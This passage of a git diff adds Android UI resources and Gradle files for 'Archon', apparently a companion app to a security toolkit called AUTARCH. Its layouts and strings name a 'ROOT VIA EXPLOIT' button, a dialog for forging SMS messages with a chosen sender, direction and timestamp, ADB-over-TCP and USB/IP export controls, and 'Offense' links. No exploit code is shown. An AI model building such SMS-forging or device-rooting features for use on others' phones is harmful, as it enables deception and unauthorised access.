android:layout_height="wrap_content"
|
||||
android:text="Status: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_check_root"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="CHECK ROOT"
|
||||
android:textColor="@color/background"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_root_exploit"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="ROOT VIA EXPLOIT"
|
||||
android:textColor="@color/background"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/warning" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Output Log ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="12dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Output Log:"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/setup_output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="> ready_"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp"
|
||||
android:minLines="5" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
@@ -0,0 +1,92 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<LinearLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="12dp"
|
||||
android:background="?android:attr/selectableItemBackground">
|
||||
|
||||
<!-- Contact avatar (circle with initial) -->
|
||||
<FrameLayout
|
||||
android:layout_width="44dp"
|
||||
android:layout_height="44dp"
|
||||
android:layout_marginEnd="12dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/avatar_bg"
|
||||
android:layout_width="44dp"
|
||||
android:layout_height="44dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/avatar_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:textColor="#FFFFFF"
|
||||
android:textSize="18sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
</FrameLayout>
|
||||
|
||||
<!-- Name and snippet -->
|
||||
<LinearLayout
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:orientation="vertical"
|
||||
android:layout_marginEnd="12dp">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/contact_name"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="15sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true"
|
||||
android:ellipsize="end"
|
||||
android:layout_marginBottom="2dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/message_snippet"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true"
|
||||
android:ellipsize="end" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Date and unread badge -->
|
||||
<LinearLayout
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:gravity="end|center_vertical">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/conversation_date"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/unread_badge"
|
||||
android:layout_width="22dp"
|
||||
android:layout_height="22dp"
|
||||
android:gravity="center"
|
||||
android:textColor="#FFFFFF"
|
||||
android:textSize="10sp"
|
||||
android:textStyle="bold"
|
||||
android:background="@color/danger"
|
||||
android:visibility="gone" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
@@ -0,0 +1,67 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:paddingTop="2dp"
|
||||
android:paddingBottom="2dp"
|
||||
android:paddingStart="4dp"
|
||||
android:paddingEnd="64dp">
|
||||
|
||||
<!-- Received message bubble — left-aligned, dark gray -->
|
||||
<LinearLayout
|
||||
android:id="@+id/bubble_container"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:background="@color/surface"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="6dp"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent">
|
||||
|
||||
<!-- Message body -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_body"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="2dp" />
|
||||
|
||||
<!-- Bottom row: time + RCS indicator -->
|
||||
<LinearLayout
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_gravity="end">
|
||||
|
||||
<!-- RCS/MMS indicator -->
|
||||
<TextView
|
||||
android:id="@+id/rcs_indicator"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="9sp"
|
||||
android:fontFamily="monospace"
|
||||
android:textStyle="bold"
|
||||
android:layout_marginEnd="6dp"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- Timestamp -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_time"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="10sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
@@ -0,0 +1,78 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:paddingTop="2dp"
|
||||
android:paddingBottom="2dp"
|
||||
android:paddingStart="64dp"
|
||||
android:paddingEnd="4dp">
|
||||
|
||||
<!-- Sent message bubble — right-aligned, accent color -->
|
||||
<LinearLayout
|
||||
android:id="@+id/bubble_container"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:background="@color/terminal_green_dim"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="6dp"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent">
|
||||
|
||||
<!-- Message body -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_body"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="2dp" />
|
||||
|
||||
<!-- Bottom row: time + status + RCS indicator -->
|
||||
<LinearLayout
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_gravity="end">
|
||||
|
||||
<!-- RCS/MMS indicator -->
|
||||
<TextView
|
||||
android:id="@+id/rcs_indicator"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="9sp"
|
||||
android:fontFamily="monospace"
|
||||
android:textStyle="bold"
|
||||
android:layout_marginEnd="6dp"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- Delivery status -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_status"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="10sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginEnd="6dp"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- Timestamp -->
|
||||
<TextView
|
||||
android:id="@+id/bubble_time"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_muted"
|
||||
android:textSize="10sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
23
autarch_companion/app/src/main/res/menu/bottom_nav.xml
Normal file
23
autarch_companion/app/src/main/res/menu/bottom_nav.xml
Normal file
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<menu xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<item
|
||||
android:id="@+id/nav_dashboard"
|
||||
android:icon="@android:drawable/ic_menu_compass"
|
||||
android:title="@string/nav_dashboard" />
|
||||
<item
|
||||
android:id="@+id/nav_messaging"
|
||||
android:icon="@android:drawable/ic_dialog_email"
|
||||
android:title="@string/nav_messaging" />
|
||||
<item
|
||||
android:id="@+id/nav_modules"
|
||||
android:icon="@android:drawable/ic_menu_manage"
|
||||
android:title="@string/nav_modules" />
|
||||
<item
|
||||
android:id="@+id/nav_setup"
|
||||
android:icon="@drawable/ic_setup"
|
||||
android:title="@string/nav_setup" />
|
||||
<item
|
||||
android:id="@+id/nav_settings"
|
||||
android:icon="@android:drawable/ic_menu_preferences"
|
||||
android:title="@string/nav_settings" />
|
||||
</menu>
|
||||
38
autarch_companion/app/src/main/res/navigation/nav_graph.xml
Normal file
38
autarch_companion/app/src/main/res/navigation/nav_graph.xml
Normal file
@@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<navigation
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:id="@+id/nav_graph"
|
||||
app:startDestination="@id/nav_dashboard">
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_dashboard"
|
||||
android:name="com.darkhal.archon.ui.DashboardFragment"
|
||||
android:label="@string/nav_dashboard" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_messaging"
|
||||
android:name="com.darkhal.archon.ui.MessagingFragment"
|
||||
android:label="@string/nav_messaging" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_links"
|
||||
android:name="com.darkhal.archon.ui.LinksFragment"
|
||||
android:label="@string/nav_links" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_modules"
|
||||
android:name="com.darkhal.archon.ui.ModulesFragment"
|
||||
android:label="@string/nav_modules" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_setup"
|
||||
android:name="com.darkhal.archon.ui.SetupFragment"
|
||||
android:label="@string/nav_setup" />
|
||||
|
||||
<fragment
|
||||
android:id="@+id/nav_settings"
|
||||
android:name="com.darkhal.archon.ui.SettingsFragment"
|
||||
android:label="@string/nav_settings" />
|
||||
|
||||
</navigation>
|
||||
18
autarch_companion/app/src/main/res/values/colors.xml
Normal file
18
autarch_companion/app/src/main/res/values/colors.xml
Normal file
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="terminal_green">#FF00FF41</color>
|
||||
<color name="terminal_green_dim">#FF006B1A</color>
|
||||
<color name="background">#FF0D0D0D</color>
|
||||
<color name="surface">#FF1A1A1A</color>
|
||||
<color name="surface_dark">#FF111111</color>
|
||||
<color name="text_primary">#FFE0E0E0</color>
|
||||
<color name="text_secondary">#FF888888</color>
|
||||
<color name="text_muted">#FF555555</color>
|
||||
<color name="primary">#FF00FF41</color>
|
||||
<color name="status_online">#FF00FF41</color>
|
||||
<color name="status_offline">#FF666666</color>
|
||||
<color name="danger">#FFFF4444</color>
|
||||
<color name="warning">#FFFFAA00</color>
|
||||
<color name="black">#FF000000</color>
|
||||
<color name="nav_item_color">#FF00FF41</color>
|
||||
</resources>
|
||||
90
autarch_companion/app/src/main/res/values/strings.xml
Normal file
90
autarch_companion/app/src/main/res/values/strings.xml
Normal file
@@ -0,0 +1,90 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<string name="app_name">Archon</string>
|
||||
|
||||
<!-- Navigation -->
|
||||
<string name="nav_dashboard">Dashboard</string>
|
||||
<string name="nav_links">Links</string>
|
||||
<string name="nav_modules">Modules</string>
|
||||
<string name="nav_setup">Setup</string>
|
||||
<string name="nav_settings">Settings</string>
|
||||
|
||||
<!-- Discovery -->
|
||||
<string name="server_discovery">Server Discovery</string>
|
||||
<string name="discovery_idle">Tap SCAN to find AUTARCH</string>
|
||||
<string name="discovery_methods">LAN / Wi-Fi Direct / Bluetooth</string>
|
||||
<string name="scan_network">SCAN</string>
|
||||
|
||||
<!-- Dashboard -->
|
||||
<string name="dashboard_title">ARCHON</string>
|
||||
<string name="adb_control">ADB Control</string>
|
||||
<string name="adb_status_unknown">ADB: checking...</string>
|
||||
<string name="enable_adb_tcp">Enable ADB TCP/IP</string>
|
||||
<string name="usbip_export">USB/IP Export</string>
|
||||
<string name="usbip_status_unknown">USB/IP: checking...</string>
|
||||
<string name="enable_usbip_export">Enable USB/IP Export</string>
|
||||
<string name="adb_server">ADB Server</string>
|
||||
<string name="kill_adb">KILL</string>
|
||||
<string name="restart_adb">RESTART</string>
|
||||
<string name="auto_restart_adb">Auto-restart ADB</string>
|
||||
<string name="wireguard_status">WireGuard</string>
|
||||
<string name="wg_checking">WG: checking...</string>
|
||||
<string name="wg_server_ip_label">Server: --</string>
|
||||
<string name="ready">> ready_</string>
|
||||
|
||||
<!-- Links -->
|
||||
<string name="links_title">AUTARCH</string>
|
||||
<string name="server_url_placeholder">Server: --</string>
|
||||
<string name="link_dashboard">Dashboard</string>
|
||||
<string name="link_wireguard">WireGuard</string>
|
||||
<string name="link_shield">Shield</string>
|
||||
<string name="link_hardware">Hardware</string>
|
||||
<string name="link_wireshark">Wireshark</string>
|
||||
<string name="link_osint">OSINT</string>
|
||||
<string name="link_defense">Defense</string>
|
||||
<string name="link_offense">Offense</string>
|
||||
<string name="link_settings">Settings</string>
|
||||
|
||||
<!-- Messaging -->
|
||||
<string name="nav_messaging">Messages</string>
|
||||
<string name="messaging_title">SMS/RCS</string>
|
||||
<string name="messaging_become_default">DEFAULT</string>
|
||||
<string name="messaging_restore_default">RESTORE</string>
|
||||
<string name="messaging_tools">TOOLS</string>
|
||||
<string name="messaging_search_hint">Search messages...</string>
|
||||
<string name="messaging_input_hint">Type a message...</string>
|
||||
<string name="messaging_send">SEND</string>
|
||||
<string name="messaging_export">EXPORT</string>
|
||||
<string name="messaging_new_message">New message</string>
|
||||
<string name="messaging_empty">No conversations found.\nCheck SMS permissions or tap + to forge a message.</string>
|
||||
|
||||
<!-- Forge Dialog -->
|
||||
<string name="forge_dialog_title">FORGE MESSAGE</string>
|
||||
<string name="forge_phone_label">Phone Number</string>
|
||||
<string name="forge_phone_hint">+15551234567</string>
|
||||
<string name="forge_name_label">Contact Name (optional)</string>
|
||||
<string name="forge_name_hint">John Doe</string>
|
||||
<string name="forge_body_label">Message Body</string>
|
||||
<string name="forge_body_hint">Enter message text...</string>
|
||||
<string name="forge_direction_label">Direction</string>
|
||||
<string name="forge_received">RECEIVED</string>
|
||||
<string name="forge_sent">SENT</string>
|
||||
<string name="forge_date_label">Date / Time</string>
|
||||
<string name="forge_pick_date">Date</string>
|
||||
<string name="forge_pick_time">Time</string>
|
||||
<string name="forge_mark_read">Mark as read</string>
|
||||
|
||||
<!-- Settings -->
|
||||
<string name="settings_title">SETTINGS</string>
|
||||
<string name="server_connection">Server Connection</string>
|
||||
<string name="hint_server_ip">AUTARCH Server IP</string>
|
||||
<string name="hint_web_port">Web UI Port (default: 8181)</string>
|
||||
<string name="adb_configuration">ADB Configuration</string>
|
||||
<string name="hint_adb_port">ADB TCP Port</string>
|
||||
<string name="hint_usbip_port">USB/IP Port</string>
|
||||
<string name="bbs_configuration">BBS Configuration</string>
|
||||
<string name="hint_bbs_address">Veilid BBS Address</string>
|
||||
<string name="auto_detect">AUTO-DETECT SERVER</string>
|
||||
<string name="test_connection">TEST</string>
|
||||
<string name="save_settings">SAVE</string>
|
||||
</resources>
|
||||
16
autarch_companion/app/src/main/res/values/themes.xml
Normal file
16
autarch_companion/app/src/main/res/values/themes.xml
Normal file
@@ -0,0 +1,16 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<style name="Theme.Archon" parent="Theme.Material3.Dark.NoActionBar">
|
||||
<item name="colorPrimary">@color/terminal_green</item>
|
||||
<item name="colorPrimaryVariant">@color/terminal_green_dim</item>
|
||||
<item name="colorOnPrimary">@color/background</item>
|
||||
<item name="colorSecondary">@color/terminal_green_dim</item>
|
||||
<item name="colorOnSecondary">@color/text_primary</item>
|
||||
<item name="android:colorBackground">@color/background</item>
|
||||
<item name="colorSurface">@color/surface</item>
|
||||
<item name="colorOnSurface">@color/text_primary</item>
|
||||
<item name="android:statusBarColor">@color/background</item>
|
||||
<item name="android:navigationBarColor">@color/surface</item>
|
||||
<item name="android:windowBackground">@color/background</item>
|
||||
</style>
|
||||
</resources>
|
||||
3
autarch_companion/build.gradle.kts
Normal file
3
autarch_companion/build.gradle.kts
Normal file
@@ -0,0 +1,3 @@
|
||||
plugins {
|
||||
id("com.android.application") version "9.0.1" apply false
|
||||
}
|
||||
4
autarch_companion/gradle.properties
Normal file
4
autarch_companion/gradle.properties
Normal file
@@ -0,0 +1,4 @@
|
||||
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||
android.useAndroidX=true
|
||||
kotlin.code.style=official
|
||||
android.nonTransitiveRClass=true
|
||||
BIN
autarch_companion/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
autarch_companion/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
7
autarch_companion/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
7
autarch_companion/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
|
||||
networkTimeout=10000
|
||||
validateDistributionUrl=true
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
248
autarch_companion/gradlew
vendored
Normal file
248
autarch_companion/gradlew
vendored
Normal file
@@ -0,0 +1,248 @@
|
||||
#!/bin/sh
|
||||
|
||||
#
|
||||
# Copyright © 2015 the original authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
#
|
||||
# Gradle start up script for POSIX generated by Gradle.
|
||||
#
|
||||
# Important for running:
|
||||
#
|
||||
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||
# noncompliant, but you have some other compliant shell such as ksh or
|
||||
# bash, then to run this script, type that shell name before the whole
|
||||
# command line, like:
|
||||
#
|
||||
# ksh Gradle
|
||||
#
|
||||
# Busybox and similar reduced shells will NOT work, because this script
|
||||
# requires all of these POSIX shell features:
|
||||
# * functions;
|
||||
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||
# * compound commands having a testable exit status, especially «case»;
|
||||
# * various built-in commands including «command», «set», and «ulimit».
|
||||
#
|
||||
# Important for patching:
|
||||
#
|
||||
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||
#
|
||||
# The "traditional" practice of packing multiple parameters into a
|
||||
# space-separated string is a well documented source of bugs and security
|
||||
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||
# options in "$@", and eventually passing that to Java.
|
||||
#
|
||||
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||
# see the in-line comments for details.
|
||||
#
|
||||
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||
# Darwin, MinGW, and NonStop.
|
||||
#
|
||||
# (3) This script is generated from the Groovy template
|
||||
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||
# within the Gradle project.
|
||||
#
|
||||
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||
#
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
|
||||
# Resolve links: $0 may be a link
|
||||
app_path=$0
|
||||
|
||||
# Need this for daisy-chained symlinks.
|
||||
while
|
||||
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||
[ -h "$app_path" ]
|
||||
do
|
||||
ls=$( ls -ld "$app_path" )
|
||||
link=${ls#*' -> '}
|
||||
case $link in #(
|
||||
/*) app_path=$link ;; #(
|
||||
*) app_path=$APP_HOME$link ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# This is normally unused
|
||||
# shellcheck disable=SC2034
|
||||
APP_BASE_NAME=${0##*/}
|
||||
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD=maximum
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
} >&2
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
} >&2
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "$( uname )" in #(
|
||||
CYGWIN* ) cygwin=true ;; #(
|
||||
Darwin* ) darwin=true ;; #(
|
||||
MSYS* | MINGW* ) msys=true ;; #(
|
||||
NONSTOP* ) nonstop=true ;;
|
||||
esac
|
||||
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||
else
|
||||
JAVACMD=$JAVA_HOME/bin/java
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD=java
|
||||
if ! command -v java >/dev/null 2>&1
|
||||
then
|
||||
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||
case $MAX_FD in #(
|
||||
max*)
|
||||
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
MAX_FD=$( ulimit -H -n ) ||
|
||||
warn "Could not query maximum file descriptor limit"
|
||||
esac
|
||||
case $MAX_FD in #(
|
||||
'' | soft) :;; #(
|
||||
*)
|
||||
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
ulimit -n "$MAX_FD" ||
|
||||
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||
esac
|
||||
fi
|
||||
|
||||
# Collect all arguments for the java command, stacking in reverse order:
|
||||
# * args from the command line
|
||||
# * the main class name
|
||||
# * -classpath
|
||||
# * -D...appname settings
|
||||
# * --module-path (only if needed)
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if "$cygwin" || "$msys" ; then
|
||||
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||
|
||||
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
for arg do
|
||||
if
|
||||
case $arg in #(
|
||||
-*) false ;; # don't mess with options #(
|
||||
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||
[ -e "$t" ] ;; #(
|
||||
*) false ;;
|
||||
esac
|
||||
then
|
||||
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||
fi
|
||||
# Roll the args list around exactly as many times as the number of
|
||||
# args, so each arg winds up back in the position where it started, but
|
||||
# possibly modified.
|
||||
#
|
||||
# NB: a `for` loop captures its iteration list before it begins, so
|
||||
# changing the positional parameters here affects neither the number of
|
||||
# iterations, nor the values presented in `arg`.
|
||||
shift # remove old arg
|
||||
set -- "$@" "$arg" # push replacement arg
|
||||
done
|
||||
fi
|
||||
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Collect all arguments for the java command:
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||
# and any embedded shellness will be escaped.
|
||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||
# treated as '${Hostname}' itself on the command line.
|
||||
|
||||
set -- \
|
||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
|
||||
"$@"
|
||||
|
||||
# Stop when "xargs" is not available.
|
||||
if ! command -v xargs >/dev/null 2>&1
|
||||
then
|
||||
die "xargs is not available"
|
||||
fi
|
||||
|
||||
# Use "xargs" to parse quoted args.
|
||||
#
|
||||
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||
#
|
||||
# In Bash we could simply go:
|
||||
#
|
||||
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||
# set -- "${ARGS[@]}" "$@"
|
||||
#
|
||||
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||
# character that might be a shell metacharacter, then use eval to reverse
|
||||
# that process (while maintaining the separation between arguments), and wrap
|
||||
# the whole thing up as a single "set" statement.
|
||||
#
|
||||
# This will of course break if any of these variables contains a newline or
|
||||
